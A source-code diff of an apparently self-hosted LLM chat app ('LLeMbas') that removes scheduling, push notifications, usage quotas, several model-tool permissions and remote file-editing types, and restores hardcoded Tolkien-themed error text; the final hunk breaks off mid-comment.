# nobody leaves switched on. `Chat.unread_notified` exists for exactly this
|
||||
# and this is the same pair.
|
||||
unread_notified: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
# Why a run produced nothing worth reading. A scheduled report that failed
|
||||
# is still a report -- one that silently did not appear is indistinguishable
|
||||
# from a schedule that never fired.
|
||||
error: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Report {self.title!r}>"
|
||||
@@ -1,85 +0,0 @@
|
||||
"""Schedules: what should happen later, and where its result goes."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import datetime
|
||||
|
||||
from sqlalchemy import Boolean, DateTime, ForeignKey, Integer, String, Text
|
||||
from sqlalchemy.orm import Mapped, mapped_column
|
||||
|
||||
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
|
||||
from lembas.db.types import JSONDict
|
||||
|
||||
# Where a firing's result is delivered. Chosen per schedule rather than fixed by
|
||||
# the screen it was made on: Reports has to stay reachable from anywhere, being
|
||||
# the fallback, and a schedule somebody wants moved from its own chat to Reports
|
||||
# should not have to be built again.
|
||||
TARGET_CHAT = "chat"
|
||||
TARGET_REPORT = "report"
|
||||
TARGET_MESSAGES = "messages"
|
||||
TARGETS = (TARGET_CHAT, TARGET_REPORT, TARGET_MESSAGES)
|
||||
|
||||
# Who made it. Kept because "why is this running?" is a question with two very
|
||||
# different answers, and one of them is "a model decided to".
|
||||
ORIGIN_USER = "user"
|
||||
ORIGIN_MODEL = "model"
|
||||
ORIGINS = (ORIGIN_USER, ORIGIN_MODEL)
|
||||
|
||||
|
||||
class Schedule(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""One standing instruction and when it comes due.
|
||||
|
||||
The row carries no recurrence logic at all: `rule_json` is read by
|
||||
`services/schedule/rule.py`, which is pure and knows nothing about rows.
|
||||
What lives here is the bookkeeping the ticker needs to claim a firing
|
||||
without doing it twice.
|
||||
"""
|
||||
|
||||
__tablename__ = "schedules"
|
||||
|
||||
user_id: Mapped[str] = mapped_column(
|
||||
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
|
||||
)
|
||||
title: Mapped[str] = mapped_column(String(200), nullable=False, default="")
|
||||
|
||||
# What the reader actually typed, kept verbatim and for ever. The compile
|
||||
# rewrites it into `instruction`, and "what did I actually ask for" has to
|
||||
# survive that -- both so the edit form can show it and so a recompile has
|
||||
# something to work from other than its own previous output.
|
||||
request: Mapped[str] = mapped_column(Text, default="")
|
||||
# What is sent when it fires. The compiled form: standalone, since it is
|
||||
# read with no conversation around it.
|
||||
instruction: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
rule_json: Mapped[dict] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
target: Mapped[str] = mapped_column(String(16), default=TARGET_CHAT, nullable=False)
|
||||
# The chat this fires into. Deliberately not a ForeignKey -- `migrations.py`
|
||||
# compiles the column type only, so a REFERENCES clause would exist on a
|
||||
# fresh database and not on an upgraded one. Validated on read, and a
|
||||
# dangling value disables the schedule rather than raising every tick.
|
||||
chat_id: Mapped[str] = mapped_column(String(32), default="")
|
||||
model_id: Mapped[str] = mapped_column(String(300), default="")
|
||||
|
||||
enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
|
||||
|
||||
# The ticker's entire query. Nullable because "nothing more to do" is a real
|
||||
# state -- a spent count, a closed window, a calendar matching nothing --
|
||||
# and is different from "due at the epoch".
|
||||
next_fire_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True), index=True)
|
||||
last_fire_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
|
||||
# Stamped when a firing starts and cleared when it finishes, so a run that
|
||||
# died halfway says so instead of looking like one that never happened.
|
||||
claimed_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
|
||||
|
||||
fired_count: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
# Why the last run did not work. Shown on the schedule's own page: a
|
||||
# schedule that silently stopped producing anything is indistinguishable
|
||||
# from one that was never due.
|
||||
last_error: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
origin: Mapped[str] = mapped_column(String(16), default=ORIGIN_USER, nullable=False)
|
||||
compiled_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Schedule {self.title!r} {'on' if self.enabled else 'off'}>"
|
||||
@@ -5,18 +5,7 @@ from __future__ import annotations
|
||||
from datetime import datetime
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from sqlalchemy import (
|
||||
Boolean,
|
||||
Column,
|
||||
DateTime,
|
||||
ForeignKey,
|
||||
Index,
|
||||
Integer,
|
||||
String,
|
||||
Table,
|
||||
Text,
|
||||
UniqueConstraint,
|
||||
)
|
||||
from sqlalchemy import Boolean, Column, DateTime, ForeignKey, Index, String, Table, Text
|
||||
from sqlalchemy.orm import Mapped, mapped_column, relationship
|
||||
|
||||
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
|
||||
@@ -80,16 +69,6 @@ class Group(UUIDPrimaryKey, Timestamps, Base):
|
||||
# lembas.security.permissions.
|
||||
permissions_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
# What members of this group may spend. Resolved across a user's groups by
|
||||
# **maximum**, which is the union rule applied to numbers: being in a second
|
||||
# group can only ever grant more. Zero means "no limit" and therefore wins
|
||||
# outright, because a group that says "unlimited" saying less than one that
|
||||
# says "a million" would be the union rule inverted for one value.
|
||||
#
|
||||
# Absent keys mean the group has no opinion and contribute nothing. See
|
||||
# security/permissions.py:limits_for.
|
||||
limits_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
users: Mapped[list[User]] = relationship(secondary=user_groups, back_populates="groups")
|
||||
models: Mapped[list[Model]] = relationship(
|
||||
"Model", secondary="model_groups", back_populates="groups"
|
||||
@@ -126,87 +105,3 @@ class Session(UUIDPrimaryKey, Timestamps, Base):
|
||||
|
||||
|
||||
Index("ix_sessions_user_id", Session.user_id)
|
||||
|
||||
|
||||
class PushSubscription(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""One browser, on one device, that has agreed to be told.
|
||||
|
||||
Per device rather than per account, and that is not a detail: the permission
|
||||
and the subscription both belong to a browser, so somebody signed in on a
|
||||
laptop and a phone has two of these and revoking one must not silence the
|
||||
other. It is also why there is no "notifications on" column on `User` -- the
|
||||
presence of a row here *is* the state, and it cannot drift from what the
|
||||
browser thinks.
|
||||
|
||||
`endpoint` is chosen by the browser vendor and is the address their push
|
||||
service will accept a message at. Unique, because a browser that
|
||||
re-subscribes hands back the same one and two rows would mean two
|
||||
notifications for one arrival.
|
||||
|
||||
`p256dh` and `auth_secret` are the browser's half of the encryption. Stored
|
||||
as the browser gave them, base64url: they are public key material and a
|
||||
per-subscription salt, not credentials -- what they protect is the payload,
|
||||
and a database holding them can already read everything the payload could
|
||||
say. See services/push.py.
|
||||
"""
|
||||
|
||||
__tablename__ = "push_subscriptions"
|
||||
|
||||
user_id: Mapped[str] = mapped_column(
|
||||
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False
|
||||
)
|
||||
endpoint: Mapped[str] = mapped_column(Text, unique=True, nullable=False)
|
||||
p256dh: Mapped[str] = mapped_column(String(255), nullable=False)
|
||||
auth_secret: Mapped[str] = mapped_column(String(64), nullable=False)
|
||||
# Which device this is, for a list somebody can revoke from. Whatever the
|
||||
# browser says about itself, trimmed; never parsed.
|
||||
label: Mapped[str] = mapped_column(String(200), default="")
|
||||
# The last refusal from the push service, kept so a subscription that has
|
||||
# stopped working says why rather than being silently useless. A 404 or 410
|
||||
# deletes the row instead -- that is the end of its life, not a fault.
|
||||
last_error: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
user: Mapped[User] = relationship()
|
||||
|
||||
|
||||
Index("ix_push_subscriptions_user_id", PushSubscription.user_id)
|
||||
|
||||
|
||||
class Usage(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""What one account spent in one period.
|
||||
|
||||
A row per user per period rather than a row per reply. A per-reply ledger is
|
||||
what somebody eventually wants for a bill; this exists to answer one
|
||||
question on the request path -- "has this account used its month?" -- and
|
||||
that question wants one indexed lookup, not a sum over ten thousand rows.
|
||||
|
||||
`period` is a plain "YYYY-MM" string in **UTC**. Not the reader's timezone:
|
||||
a quota that resets at a different instant for each member of a group is a
|
||||
quota nobody can reason about, and the month boundary is not something
|
||||
anybody experiences to the hour.
|
||||
|
||||
Written by `generation._persist`, which is the single writer for everything
|
||||
a reply produced, so a reply that is stopped or errors still records what it
|
||||
spent -- an endpoint charges for tokens it generated whether or not the
|
||||
reply was wanted.
|
||||
"""
|
||||
|
||||
__tablename__ = "usage"
|
||||
__table_args__ = (UniqueConstraint("user_id", "period", name="uq_usage_user_period"),)
|
||||
|
||||
user_id: Mapped[str] = mapped_column(
|
||||
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
|
||||
)
|
||||
period: Mapped[str] = mapped_column(String(7), nullable=False)
|
||||
|
||||
prompt_tokens: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
completion_tokens: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
replies: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
# Counted separately because it is its own quota: one picture is a minute of
|
||||
# somebody's GPU and no tokens at all, so a token budget says nothing about
|
||||
# it. `images_today` on the resolved limits is the daily half; this is the
|
||||
# month's running total, for the admin screen.
|
||||
images: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Usage {self.user_id} {self.period}>"
|
||||
|
||||
+7
-77
@@ -16,39 +16,26 @@ from lembas.api import (
|
||||
admin,
|
||||
admin_agents,
|
||||
admin_audio,
|
||||
admin_branding,
|
||||
admin_extraction,
|
||||
admin_images,
|
||||
admin_models,
|
||||
admin_prompts,
|
||||
admin_schedules,
|
||||
admin_search,
|
||||
admin_suggestions,
|
||||
admin_tools,
|
||||
admin_updates,
|
||||
admin_users,
|
||||
agents,
|
||||
audio,
|
||||
auth,
|
||||
branding,
|
||||
canvas,
|
||||
chats,
|
||||
files,
|
||||
folders,
|
||||
library,
|
||||
messages,
|
||||
pages,
|
||||
preferences,
|
||||
push,
|
||||
reports,
|
||||
schedules,
|
||||
sharing,
|
||||
terminal,
|
||||
)
|
||||
from lembas.api.deps import RedirectToLogin, is_htmx, login_redirect
|
||||
from lembas.config import settings
|
||||
from lembas.db.session import init_db
|
||||
from lembas.services.library import indexing
|
||||
from lembas.web.templating import STATIC_DIR, render
|
||||
|
||||
log = logging.getLogger("lembas")
|
||||
@@ -83,7 +70,6 @@ async def lifespan(app: FastAPI) -> AsyncIterator[None]:
|
||||
from lembas.services.chat import sweep_temporary
|
||||
from lembas.services.files import sweep_orphans
|
||||
from lembas.services.library.documents import sweep_unfiled
|
||||
from lembas.services.library.indexing import sweep_orphans as sweep_chunks
|
||||
from lembas.services.suggestions import seed_defaults as seed_suggestions
|
||||
|
||||
with session_scope() as db:
|
||||
@@ -94,10 +80,6 @@ async def lifespan(app: FastAPI) -> AsyncIterator[None]:
|
||||
# Temporary chats older than a day. Startup only, like the sweeps
|
||||
# above it -- see services/chat.py:sweep_temporary.
|
||||
sweep_temporary(db)
|
||||
# Chunks whose record has gone. A backstop for a delete that
|
||||
# happened with no event loop to schedule the tidy-up -- a CLI
|
||||
# command, or a cascade from removing an account.
|
||||
sweep_chunks(db)
|
||||
# Three starting points on the empty screen, written once ever.
|
||||
seed_suggestions(db)
|
||||
except Exception: # noqa: BLE001 - housekeeping must never block startup
|
||||
@@ -114,28 +96,6 @@ async def lifespan(app: FastAPI) -> AsyncIterator[None]:
|
||||
except Exception: # noqa: BLE001 - a job that cannot be rehydrated is not fatal
|
||||
log.exception("could not rehydrate background jobs")
|
||||
|
||||
# Schedules. `release_claims` first, because a firing interrupted by the
|
||||
# last shutdown left a claim stamp that would otherwise read as permanently
|
||||
# running. Then the ticker, started here rather than lazily like the
|
||||
# terminal reaper: a schedule can be due at startup with nobody logged in,
|
||||
# which is most of the point of having one. Inside the loop, so its tasks
|
||||
# land in this event loop.
|
||||
#
|
||||
# Catching up on what was missed is deliberately NOT done here. It lives in
|
||||
# the sweep, because a suspended laptop, a paused container and a long stall
|
||||
# all reproduce "its time passed while nothing was running" with no restart
|
||||
# for a startup hook to hang on.
|
||||
try:
|
||||
from lembas.services.schedule.ticker import release_claims
|
||||
from lembas.services.schedule.ticker import start as start_ticker
|
||||
|
||||
released = release_claims()
|
||||
if released:
|
||||
log.info("released %s interrupted schedule claim(s)", released)
|
||||
start_ticker()
|
||||
except Exception: # noqa: BLE001 - scheduling failing must not block startup
|
||||
log.exception("could not start the schedule ticker")
|
||||
|
||||
log.info("LLeMbas %s starting on http://%s:%s", __version__, settings.host, settings.port)
|
||||
log.info("data directory: %s", settings.data_dir.resolve())
|
||||
yield
|
||||
@@ -145,11 +105,7 @@ async def lifespan(app: FastAPI) -> AsyncIterator[None]:
|
||||
from lembas.services.agent.jobs import shutdown as stop_jobs
|
||||
from lembas.services.agent.terminal import shutdown as stop_terminals
|
||||
from lembas.services.generation import shutdown as stop_generations
|
||||
from lembas.services.schedule.ticker import shutdown as stop_ticker
|
||||
|
||||
# Before the generations, so nothing new is fired into a chat whose reply is
|
||||
# about to be cancelled and persisted.
|
||||
await stop_ticker()
|
||||
await stop_generations()
|
||||
# Open shells have nothing to persist: whatever was running on the far side
|
||||
# is cut off mid-command. Every deploy does this, and the panel is told why
|
||||
@@ -159,9 +115,6 @@ async def lifespan(app: FastAPI) -> AsyncIterator[None]:
|
||||
# detached remote job, which keeps running and is rehydrated on the next
|
||||
# start. Only the watching stops here.
|
||||
await stop_jobs()
|
||||
# A chunk set is written whole or not at all, so cancelling loses nothing
|
||||
# a rebuild does not pick up again.
|
||||
await indexing.shutdown()
|
||||
log.info("LLeMbas stopped")
|
||||
|
||||
|
||||
@@ -177,42 +130,25 @@ def create_app() -> FastAPI:
|
||||
|
||||
app.mount("/static", StaticFiles(directory=str(STATIC_DIR)), name="static")
|
||||
|
||||
# One place that notices a library record changing, rather than a call in
|
||||
# each of the ten writers that touch those tables. Idempotent, because the
|
||||
# factory is called per test. See services/library/indexing.py:install.
|
||||
indexing.install()
|
||||
|
||||
app.include_router(pages.router)
|
||||
app.include_router(auth.router)
|
||||
app.include_router(preferences.router)
|
||||
app.include_router(chats.router)
|
||||
app.include_router(canvas.router)
|
||||
app.include_router(terminal.router)
|
||||
app.include_router(audio.router)
|
||||
app.include_router(files.router)
|
||||
app.include_router(folders.router)
|
||||
app.include_router(library.router)
|
||||
app.include_router(messages.router)
|
||||
app.include_router(reports.router)
|
||||
app.include_router(schedules.router)
|
||||
app.include_router(agents.router)
|
||||
app.include_router(sharing.router)
|
||||
app.include_router(admin.router)
|
||||
app.include_router(admin_users.router)
|
||||
app.include_router(admin_updates.router)
|
||||
app.include_router(admin_models.router)
|
||||
app.include_router(admin_audio.router)
|
||||
app.include_router(admin_branding.router)
|
||||
app.include_router(admin_extraction.router)
|
||||
app.include_router(admin_search.router)
|
||||
app.include_router(admin_schedules.router)
|
||||
app.include_router(admin_images.router)
|
||||
app.include_router(admin_prompts.router)
|
||||
app.include_router(admin_suggestions.router)
|
||||
app.include_router(admin_tools.router)
|
||||
app.include_router(admin_agents.router)
|
||||
app.include_router(push.router)
|
||||
app.include_router(branding.router)
|
||||
|
||||
register_error_handlers(app)
|
||||
return app
|
||||
@@ -243,7 +179,7 @@ def register_error_handlers(app: FastAPI) -> None:
|
||||
{
|
||||
"status_code": exc.status_code,
|
||||
"detail": exc.detail,
|
||||
"flavour": error_flavour(exc.status_code),
|
||||
"flavour": ERROR_FLAVOUR.get(exc.status_code, ERROR_FLAVOUR[500]),
|
||||
},
|
||||
status_code=exc.status_code,
|
||||
)
|
||||
@@ -257,24 +193,18 @@ def register_error_handlers(app: FastAPI) -> None:
|
||||
request,
|
||||
"error.html",
|
||||
{"status_code": 500, "detail": "Something went wrong.",
|
||||
"flavour": error_flavour(500)},
|
||||
"flavour": ERROR_FLAVOUR[500]},
|
||||
status_code=500,
|
||||
)
|
||||
|
||||
|
||||
# Flavour lives in error pages, empty states and theme names -- never in the
|
||||
# functional UI. See CLAUDE.md.
|
||||
#
|
||||
# The three lines themselves moved into `services/branding.py` with the rest of
|
||||
# what an administrator can replace. What is left here is the mapping from a
|
||||
# status code to which of them, which is not something anybody would want to
|
||||
# edit. `snapshot()` never raises, so an error page can still render its error
|
||||
# on an instance whose database is the thing that broke.
|
||||
def error_flavour(status_code: int) -> str:
|
||||
from lembas.services import branding
|
||||
|
||||
text = branding.snapshot().text
|
||||
return text.get(f"error_{status_code}") or text["error_500"]
|
||||
ERROR_FLAVOUR = {
|
||||
403: "Speak, friend, and enter. This door is not yours to open.",
|
||||
404: "Not all those who wander are lost. This page, however, is.",
|
||||
500: "The Road goes ever on, but this stretch of it has washed out.",
|
||||
}
|
||||
|
||||
|
||||
app = create_app()
|
||||
|
||||
@@ -95,15 +95,6 @@ PERMISSION_DEFS: tuple[PermissionDef, ...] = (
|
||||
True,
|
||||
"Chat",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.image",
|
||||
"Generate images",
|
||||
"Let a model draw a picture and show it in the conversation. Only "
|
||||
"offered when an image generator has been configured, and every "
|
||||
"generation spends time on whatever machine is running it.",
|
||||
True,
|
||||
"Chat",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.custom",
|
||||
"Use custom tools",
|
||||
@@ -146,17 +137,6 @@ PERMISSION_DEFS: tuple[PermissionDef, ...] = (
|
||||
False,
|
||||
"Agent",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.subagent",
|
||||
"Delegate to a helper",
|
||||
"Let a model hand a self-contained piece of work to a second one that "
|
||||
"runs on its own and reports back — reading and searching in parallel "
|
||||
"rather than one thing at a time. A helper cannot ask questions, "
|
||||
"cannot spawn helpers of its own, and can only do what this chat could "
|
||||
"already do without stopping to ask.",
|
||||
False,
|
||||
"Chat",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.ask",
|
||||
"Be asked questions",
|
||||
@@ -165,42 +145,6 @@ PERMISSION_DEFS: tuple[PermissionDef, ...] = (
|
||||
True,
|
||||
"Chat",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.scratch",
|
||||
"Write in the canvas",
|
||||
"Let a model build something up in this chat's scratch document, which "
|
||||
"sits open beside the conversation and can be edited and attached to a "
|
||||
"message. It belongs to the chat and is not searchable afterwards.",
|
||||
True,
|
||||
"Chat",
|
||||
),
|
||||
PermissionDef(
|
||||
"schedule.use",
|
||||
"Schedule work",
|
||||
"Set things to run later, on their own — once, or on a repeating "
|
||||
"timetable. This spends model time with nobody at the keyboard, so it "
|
||||
"is a capability chosen on purpose rather than one everybody has.",
|
||||
False,
|
||||
"Scheduling",
|
||||
),
|
||||
PermissionDef(
|
||||
"reports.use",
|
||||
"Keep reports",
|
||||
"Read the Reports section: finished pieces of work filed for them to "
|
||||
"read later, by a model that was asked for one or by something that ran "
|
||||
"while they were away.",
|
||||
True,
|
||||
"Reports",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.report",
|
||||
"File reports",
|
||||
"Let a model write a report when it finishes a piece of work, and read "
|
||||
"back ones it filed earlier. A report is addressed to the reader and "
|
||||
"cannot be replied to, so this costs nothing but a place to put things.",
|
||||
True,
|
||||
"Reports",
|
||||
),
|
||||
PermissionDef(
|
||||
"audio.transcribe",
|
||||
"Dictate messages",
|
||||
@@ -225,15 +169,9 @@ PERMISSION_DEFS: tuple[PermissionDef, ...] = (
|
||||
PermissionDef(
|
||||
"library.share",
|
||||
"Share library items",
|
||||
"Give other people, or a group, access to their knowledge bases, notes, "
|
||||
"skills and reports. Sharing grants reading only — never changing, and "
|
||||
"never sharing on.",
|
||||
# On. It was off, which meant sharing shipped documented as done and
|
||||
# unreachable: the panel is only rendered for somebody who holds this,
|
||||
# so out of the box nobody could share anything and nothing said why.
|
||||
# An instance that wants it off can say so; one that never looked should
|
||||
# get the feature it was told it had.
|
||||
True,
|
||||
"Give other people, or a group, access to their documents, notes and "
|
||||
"skills. Sharing grants reading only.",
|
||||
False,
|
||||
"Library",
|
||||
),
|
||||
PermissionDef(
|
||||
@@ -266,53 +204,8 @@ PERMISSION_DEFS: tuple[PermissionDef, ...] = (
|
||||
True,
|
||||
"Library",
|
||||
),
|
||||
# --- Reading and writing, split where the difference matters ------------
|
||||
# Three gates cover both, and for these three the two halves are genuinely
|
||||
# different decisions: a model that may *read* somebody's notes and not add
|
||||
# to them is a reasonable thing to want, and until now `tools.notes` was one
|
||||
# switch over five tools.
|
||||
#
|
||||
# Not split for every gate. `tools.web_search` has no write half; `report`
|
||||
# is a write with no read worth withholding; `agent` has modes, which are a
|
||||
# finer instrument than a permission and are per chat. A permission that
|
||||
# answers "the same as that one" is a permission nobody should be asked
|
||||
# about -- the reasoning `schedule.use` already carries.
|
||||
#
|
||||
# **All three default on**, so an instance that never looks behaves exactly
|
||||
# as it did: `_family_allowed` reads them only to *narrow* what the gate
|
||||
# already allowed.
|
||||
PermissionDef(
|
||||
"tools.notes.write",
|
||||
"Write notes",
|
||||
"Let a model create, change and delete notes. Without it, it can still "
|
||||
"search and read the ones that are there.",
|
||||
True,
|
||||
"Library",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.memory.write",
|
||||
"Record memories",
|
||||
"Let a model add and forget short facts about this person. Without it, "
|
||||
"the memories it already has are still shown to it every turn.",
|
||||
True,
|
||||
"Library",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.skills.write",
|
||||
"Write skills",
|
||||
"Let a model write new skills and change existing ones. Without it, it "
|
||||
"follows the skills that are there and cannot add to them — which is "
|
||||
"the setting for an instance whose skills are curated by hand.",
|
||||
True,
|
||||
"Library",
|
||||
),
|
||||
)
|
||||
|
||||
# Gates whose read and write halves are separate permissions. Keyed on the gate,
|
||||
# with the permission derived as `tools.<gate>.write`, so adding a fourth is one
|
||||
# entry here and one PermissionDef above.
|
||||
SPLIT_GATES = ("notes", "memory", "skills")
|
||||
|
||||
PERMISSION_KEYS = tuple(d.key for d in PERMISSION_DEFS)
|
||||
DEFAULT_PERMISSIONS = {d.key: d.default for d in PERMISSION_DEFS}
|
||||
|
||||
@@ -355,128 +248,6 @@ def has(db: DBSession, user: User | None, key: str) -> bool:
|
||||
return resolve(db, user).get(key, False)
|
||||
|
||||
|
||||
def explain(db: DBSession, user: User | None) -> dict[str, dict]:
|
||||
"""Every permission, whether this user has it, and **where it came from**.
|
||||
|
||||
The question the admin screens could not answer. `resolve` has always
|
||||
computed the union and thrown the working away, so "why can this person do
|
||||
X?" meant opening every group they belong to and reading the grids by eye --
|
||||
which is exactly the simulation the union rule exists to avoid needing.
|
||||
|
||||
`source` is "admin" (bypassing everything), "baseline", or the names of the
|
||||
groups that granted it. A permission that is off has no source, because
|
||||
nothing granted it -- there is no such thing as a deny here to point at.
|
||||
"""
|
||||
keys = PERMISSION_KEYS
|
||||
if user is None:
|
||||
return {key: {"on": False, "source": []} for key in keys}
|
||||
if user.is_admin:
|
||||
return {key: {"on": True, "source": ["admin"]} for key in keys}
|
||||
|
||||
baseline = baseline_permissions(db)
|
||||
out: dict[str, dict] = {}
|
||||
for key in keys:
|
||||
sources = ["baseline"] if baseline.get(key) else []
|
||||
sources += [
|
||||
group.name for group in user.groups if (group.permissions_json or {}).get(key)
|
||||
]
|
||||
out[key] = {"on": bool(sources), "source": sources}
|
||||
return out
|
||||
|
||||
|
||||
# --- Quotas -------------------------------------------------------------------
|
||||
# What a group may raise, and what each number means. Every one of them is
|
||||
# **zero for no limit**, which is the convention `max_completion_tokens` and
|
||||
# `index_chars` already use here, and it is what makes "unlimited" sayable at all.
|
||||
#
|
||||
# Five axes rather than one, because they fail differently and a single "budget"
|
||||
# would have to pick an exchange rate between a token and a minute of somebody's
|
||||
# GPU. There isn't one.
|
||||
LIMIT_DEFS: tuple[tuple[str, str, str], ...] = (
|
||||
(
|
||||
"monthly_tokens",
|
||||
"Tokens a month",
|
||||
"Prompt and completion together, across every chat, reset on the first "
|
||||
"of the month. Reached, a reply says so before it spends anything "
|
||||
"rather than stopping half way through.",
|
||||
),
|
||||
(
|
||||
"concurrent_replies",
|
||||
"Replies at once",
|
||||
"How many of their chats may be writing at the same time. This is the "
|
||||
"one that stops one person queueing every other person's work behind "
|
||||
"them on a single endpoint.",
|
||||
),
|
||||
(
|
||||
"agent_seconds",
|
||||
"Longest agent reply",
|
||||
"Seconds of wall clock for one reply in an agent chat, if lower than "
|
||||
"the instance's own. Waiting for somebody to approve something does "
|
||||
"not count.",
|
||||
),
|
||||
(
|
||||
"images_per_day",
|
||||
"Images a day",
|
||||
"Each one is a minute of somebody's GPU and no tokens at all, so a "
|
||||
"token budget says nothing about it.",
|
||||
),
|
||||
(
|
||||
"helpers_per_reply",
|
||||
"Helpers per reply",
|
||||
"How many subagents one reply may send, if lower than the instance's "
|
||||
"own.",
|
||||
),
|
||||
)
|
||||
|
||||
LIMIT_KEYS = tuple(key for key, _, _ in LIMIT_DEFS)
|
||||
|
||||
# Nobody is limited until somebody says so. A quota that arrived with an upgrade
|
||||
# and started refusing replies would be the worst possible way to introduce one.
|
||||
NO_LIMITS: dict[str, int] = dict.fromkeys(LIMIT_KEYS, 0)
|
||||
|
||||
|
||||
def limits_for(db: DBSession, user: User | None) -> dict[str, int]:
|
||||
"""What this user may spend, resolved across their groups.
|
||||
|
||||
**By maximum**, which is the union rule applied to numbers: being in a second
|
||||
group can only ever grant more, never less. That is the same promise the
|
||||
permissions make, and having one of the two work the other way round is how
|
||||
"why can this person not do X" stops being answerable.
|
||||
|
||||
**Zero wins outright**, because zero means "no limit". Taking the plain
|
||||
maximum would make a group saying "unlimited" count for less than one saying
|
||||
"a million", which is the union rule inverted for exactly one value -- and it
|
||||
is the value somebody sets when they mean *stop limiting this person*.
|
||||
|
||||
An administrator is unlimited, for the reason `resolve` gives them every
|
||||
permission: they can raise their own quota in two clicks, and pretending
|
||||
otherwise is theatre.
|
||||
"""
|
||||
if user is None or user.is_admin:
|
||||
return dict(NO_LIMITS)
|
||||
|
||||
resolved = dict(NO_LIMITS)
|
||||
for key in LIMIT_KEYS:
|
||||
values = []
|
||||
for group in user.groups:
|
||||
raw = (group.limits_json or {}).get(key)
|
||||
if raw is None:
|
||||
continue # no opinion, contributes nothing
|
||||
try:
|
||||
values.append(max(0, int(raw)))
|
||||
except (TypeError, ValueError):
|
||||
continue
|
||||
if not values or 0 in values:
|
||||
resolved[key] = 0
|
||||
else:
|
||||
resolved[key] = max(values)
|
||||
return resolved
|
||||
|
||||
|
||||
def limit(db: DBSession, user: User | None, key: str) -> int:
|
||||
return limits_for(db, user).get(key, 0)
|
||||
|
||||
|
||||
def models_visible_to(db: DBSession, user: User | None) -> list[Model]:
|
||||
"""Models a user may start a chat with, in display order.
|
||||
|
||||
|
||||
@@ -107,55 +107,6 @@ class RemoteEntry:
|
||||
return self.name.startswith(".")
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class RemoteFile:
|
||||
"""A file as somebody is about to edit it, rather than as a model reads it.
|
||||
|
||||
Separate from what `read_file` returns for the same reason `RemoteEntry` is
|
||||
separate from `list_dir`: the model-facing contract is right for a model and
|
||||
wrong here. `read_file` runs its result through `clean_output`, which strips
|
||||
escape sequences and decodes with errors="replace" -- so a file opened
|
||||
through it and saved back would come out rewritten.
|
||||
|
||||
`binary` means there is nothing safe to put in a textarea, and the tab opens
|
||||
read-only. `truncated` means the same for a different reason: saving back
|
||||
the first 256KB of a larger file is how the rest of it is deleted.
|
||||
"""
|
||||
|
||||
text: str
|
||||
size: int = 0
|
||||
mtime: int = 0
|
||||
truncated: bool = False
|
||||
binary: bool = False
|
||||
|
||||
@property
|
||||
def revision(self) -> str:
|
||||
return revision_of(self.mtime, self.size)
|
||||
|
||||
|
||||
def revision_of(mtime: int, size: int) -> str:
|
||||
"""An opaque token saying which version of a file was read.
|
||||
|
||||
Round-tripped through a hidden field and compared on the way back in. Not a
|
||||
hash: hashing means reading the whole file again on every save, and this
|
||||
catches the case it exists for -- somebody else's editor, a build, a
|
||||
checkout -- without it.
|
||||
"""
|
||||
return f"{mtime}:{size}"
|
||||
|
||||
|
||||
class Conflict(Exception):
|
||||
"""The file moved between being opened and being saved.
|
||||
|
||||
Carries the revision found instead, so the card offering Overwrite has
|
||||
something to compare against.
|
||||
"""
|
||||
|
||||
def __init__(self, found: str = "") -> None:
|
||||
super().__init__("That file changed after it was opened.")
|
||||
self.found = found
|
||||
|
||||
|
||||
class Executor(Protocol):
|
||||
"""How a target is acted on. See `ssh.py`; there is no local variant."""
|
||||
|
||||
@@ -165,10 +116,6 @@ class Executor(Protocol):
|
||||
|
||||
async def write_file(self, path: str, text: str) -> int: ...
|
||||
|
||||
async def read_text(self, path: str, *, max_bytes: int) -> RemoteFile: ...
|
||||
|
||||
async def write_text(self, path: str, text: str, *, if_unchanged: str) -> RemoteFile: ...
|
||||
|
||||
async def list_dir(self, path: str) -> list[str]: ...
|
||||
|
||||
async def scan_dir(self, path: str) -> list[RemoteEntry]: ...
|
||||
|
||||
@@ -1,183 +0,0 @@
|
||||
"""A chat that does not exist yet, so its panels can.
|
||||
|
||||
Chats are created lazily -- there is no endpoint that makes an empty one, and
|
||||
the row appears together with its first message. That is a rule worth keeping:
|
||||
an opened-and-abandoned composer should leave nothing behind. But it also meant
|
||||
the terminal and the canvas were unavailable on the one screen where you are
|
||||
